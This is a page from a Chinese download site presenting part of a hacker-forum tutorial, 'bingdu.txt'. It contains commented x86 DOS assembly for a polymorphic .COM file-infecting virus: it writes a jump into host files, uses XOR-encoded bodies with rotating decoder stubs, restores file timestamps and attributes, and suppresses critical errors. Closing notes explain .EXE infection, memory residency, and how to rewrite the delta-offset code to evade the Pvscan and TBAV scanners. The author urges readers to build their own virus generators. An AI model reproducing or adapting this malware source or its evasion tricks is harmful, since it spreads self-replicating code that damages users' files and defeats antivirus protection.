⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 bingdu.txt

📁 关于黑客的论坛的下载资料
💻 TXT
📖 第 1 页 / 共 2 页
字号:
           mov ah,40h        ;原本的4 bytes 我们已经存起来了...还记得吗?
           mov cx,jmp_long_bytes
           lea dx,jmp_4_bytes[bp]
           int 21h
           jc write_p        ;错了...不太可能吧?

           lea si,start[bp]  ;现在再把一切病毒本体(可执行的)搬到我们设的DTA
           lea di,dta_addr[bp+80h] ;後面吧!!...干嘛?? 玩多形呀!!
           mov cx,(virus_size+1)/2 ;这次用+1 再除2 ...不会漏掉bytes 且不怕盖
           rep movsw              ;到东西啦!!

           mov ax,4202h          ;移动档案指位器到後面....因为是 .com
           xor cx,cx             ;所以 ax 传回的就是原长了...
           xor dx,dx             ;事实上也可以用刚才储存的呀!!
           int 21h               ;随你高兴...为啥这样用...因为我忘记了嘛!! :(
           push ax               ;先储存起来....还要用!!
                                 ;多形开始...把长度取得0/1/2/3 等值
           and ax,03             ;事实上..你也可以取时间嘛!!
           mov cx,cha_long       ;0/1/2/3 这四种...将用作 call & pop 後的
           lea si,way1[bp]       ;多形小段...(最前面的啦!!)
           lea di,dta_addr[bp+80h+head_cd] ;小心!!不要盖错!!
           mul cx           ;由0/1/2/3 ..我们可以取得要的多形方式...
           add si,ax       ;当然长度都一定!!
           rep movsb      ;随便抓到一种...盖过去吧!!
 
           pop ax      ;把原长拿出来...减掉4 ...还记得吗? 最前面 call & set
           sub ax,jmp_long_bytes ;之前有4个nop 刚好4 bytes ...bp 的奥秘呀!!
           call coder2  ;编码啦!!(多形的呦!!) 先过去看一看...走!!

           mov ah,40h  ;多形编码弄完就要...写进去啦!!
           mov cx,virus_size
           lea dx,dta_addr[bp+80h] ;要写编过的那只!!
           int 21h
   write_p:
           pop ax    ;这里为啥来个 pop ax 呢? 这个目录已任务完成...不玩了!
    c_file:          ;等最底下的 ret ...後..就直接跳回 dir_loop啦!!
            ;若是从他处跳到这里...下面的 ret 就会回到 inflect_file
           mov ax,5701h   ;那个call 里...不离开...为啥?? 任务没做呀!!
           mov cx,word ptr [offset file_time+bp] ;恢复日期和时间!!
           mov dx,word ptr [offset file_date+bp]
           int 21h
                               ;关档...
           mov ah,3eh
           int 21h             ;那为何在关档後才恢复属性呢??
                               ;....你可以试试放在前面....保证错误!!
           lea dx,dta_addr[bp+1eh]
           xor cx,cx              ;属性恢复吧!!
           mov cl,byte ptr [offset file_attr+bp]
           mov ax,4301h
           int 21h
           ret            ; 回去啦!!
check_file ENDP

coder2 PROC NEAR   ;来啦!! 刚才...我们的 ax ...事实上就是下次由被感染的档
           lea si,dta_addr[bp+80h+virus_cd] ;所call ..算得的bp 啦...只是我们
           mov cx,(virus_c1-1)/2     ;现在就先帮它算!! 否则..用bp 解码..怎解
      enc2:                       ;得那麽准??
           xor word ptr[si],ax   ;这段..你可以跟最初我们的jmp coder 那比比看...
           add si,2            ;你会发觉有异曲同工之妙呦!!
           loop enc2        ;编码完...回去啦!!
           ret
coder2 ENDP

     int24:        ;我们的 int24h 常式
           pop ax    ;把旗标 pop 出来
           or ax,01h  ;设定为 carry !!
           push ax   ;丢回去!!
           iret    ;完成
first_4_bytes db 0b4h,4ch,0cdh,21h  ;那4 个机器码,正是 mov ah,4ch /int 21h
jmp_4_bytes   db 0e9h,00,00,'K'     ;那是 jmp+跳跃值+'K'mark
dotdot        db '..',0           ;父目录的 asciiz
file_mark     db '*.com',0        ;这个我不知道是啥耶.... :)
      way1:
           mov ax,offset set      ;以下的都是...在 call & set 後的 小多形段!!
           sub ax,bp
           neg ax
           nop
           xchg bp,ax
      way2:
           mov bx,offset set
           sub bx,bp
           neg bx
           xchg bx,bp
      way3:
           mov cx,offset set
           sub cx,bp
           neg cx
           xchg bp,cx
      way4:
           mov dx,offset set
           sub dx,bp
           neg dx
           xchg dx,bp
  e1_coder:                 ;编码结束....

     coder:                   ;来啦!! 我们跳到此处是为了编码和解码
           lea si,b1_coder[bp] ;因为母程式所得的bp是0 ,所以...xor 後
           mov cx,(virus_c1-1)/2 ;不影响..天衣无缝!! 看到那 cx 了吗?
       enc:                      ;如果你的 virus_c1 是奇数...你用+1 再除2
           xor word ptr [si],bp  ;保证解码盖到 lea si...那行指令!!
           add si,2              ;咱们用 bp 作为解码key ...嘻...
           loop enc              ;bp 是因感染不同而不同....算不算多形呀??
           jmp b1_coder          ;怎算来的...等一下会说!!
                                 ;跳回去罗!!
 start_end:              ;整个病毒长到此为止!!
                         ;以下的是临时徵招的...
int24_addr dw ?
           dw ?
file_attr     db ?
file_time     dw ?
file_date     dw ?
file_size     dd ?
now_dir       db 64 DUP(0)
dta_addr      db 0

head_cd EQU b_replace-start
cha_long EQU e_replace-b_replace
virus_cd EQU b1_coder-start
virus_c1 EQU e1_coder-b1_coder
virus_size EQU start_end-start
jmp_long_bytes EQU 4

       ONE ENDS
       END begin
  <备注>:
       关於 .exe 档的感染方法...,你必须要有档头的参考资料....
       其中要改的是 档案size(包括你的病毒加原程式除512 的商+1 & 余数)
       /ss /sp /ip /cs 值...等写入原档头,当然原 ss,sp,ip,cs 都要保留起来..
       因为载入 .exe 时是把病毒和原程式长一起丢到记忆体...但你的病毒是先
       执行的(大多在原程式後面...),要还回控制权时...你可以将原DTA 的segment
       (病毒执行时要算出来,且暂时保留)加上原档头的cs,再用 far jmp 回去!!
       所谓 far jmp 是 0eah + ip:cs 共 5 bytes.
       因为运算繁杂...我就不说啦~~
       关於常驻型...抱歉..小弟还在找地方常驻....你可以放在640k 去偷减的地方
       但要把0413 处的记忆体长度改好呦!!....不过放那边虽不会被盖到...
       但却是极容易被发现的!!
  <好玩的>:
       关於Pvscan 0.2 和tbav 的 AI ...我个人认为是满好骗的!!
       前面我之所以不用
           call set
       set:pop bp
           mov cx,offset set
           sub bp,cx
       是因为此两种AV 都咬此处....
       tbav 是以此判断是否有感染能力,当然若你的病毒没有编码,它就会揪出
       一大堆旗标...什麽不正常的档案搜寻啦..一大堆!!
       解决方法...要编码!! 且你解码的方式要测试...就是改呀!! 因为..它把一些
       编码视为anti-AV-tracing 的目的...所以...解码的方式...有创意一点...
       但别认为愈短愈好!! ..经过我的测试...用土方法像笨笨的 lodsb/stosb ...
       反而它不抓!!
       pvscan 0.2 更夸张...只咬此处...它认为若此处没有搜到...表示无法感染
       档案,非病毒之特性.... 根本不管後面我们有没有编码!!扫也不扫!!
       可是谁得咱们换方法!!
       它就没辄啦!!
       但是,据我测试,Pvscan 0.2 抓那个定址参考值处,相当严格!!
           以下的都会被揪出!!
           call set
       set:pop bp
           mov ax,offset set
           sub bp,ax
                 (^^^不管你用 ax,bx...啥它都会咬!!)
          你也别想先用其他暂存器代替 bp ...它也咬!!
      连这方法它咬!!
          call set
      set:mov bp,sp
          mov bp,word ptr[bp]
          mov cx,offset cx
          sub bp,cx
          pop ax
          ....(暂存器换了也没用)...照咬!!
      所以问题出在sub 上!!
          我们可以换 cx 去减bp 然後再取负数呀!!
          甚至...我前面用的
          mov cx,offset set
          call set
      set:dec bp
          loop set
          虽然笨了一点但也可以呀!! (前面中间夹nop 是为了小段多形长度)
      你或许会问若是它将来抓 call set 的码(因为目前那後面偏移值是0000)
      那我们不会在 call 与 set 中加些垃圾...再把 offset 的暂存器处理一下
      就好了嘛!!
          .......事实上...以上的那只毒并不是很好....但你若了解後,就可以
      自己做一只啦!!更多形的! 也许上面那只不是真正的多形...但是..却是我
      想得很久搞出来的呦!!反正依长度不同而不同...也符合多形的要求啦!!
 <其他>:
      好啦!!快开学啦!!小弟我也只能偶尔玩玩毒,改改版啦...病毒总要进步吧!!
      别每次都重作一只呦!! 麻烦死了...好的地方你把它模组化...久了以後..
      那些各个片段都很有弹性...你一但有很多有模组化的病毒片段....你猜可以
      做什麽?? <<<你自己的病毒产生器!!!>>>
      听小弟的建议...写毒...可以! 发作部份...希望你拿出你的良心!!
      因为今天你做狠毒的那种...下次你也会遭别人毒手!! 那正是因果循环!!
      拿出你的热心与良知去研究病毒吧!!
      还有!还有!! 不要被当掉!! 写毒要玩!!课业也要顾!!毕竟那才是正途呀!! :)
                         ......好啦! 一切後会有期!!
                              掰白!!
                                                   <<written by htk >>
  ps:经小弟用pvscan 0.3 测试....以上之病毒会被揪出来,但更可肯定....
     pvscan 系列是咬 sub 处....所以上述之 way1/way2 ...会被扫到!
     但若是您的病毒只用我最前面的 dec 那一段...而乎略不采用 way1/way2..
     或改用其他方式取偏移值,pvscan 0.3 依然扫不到!
     所以.....同理可证...吾人只要在定址处稍加心思.....
     祝 各位好运!

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -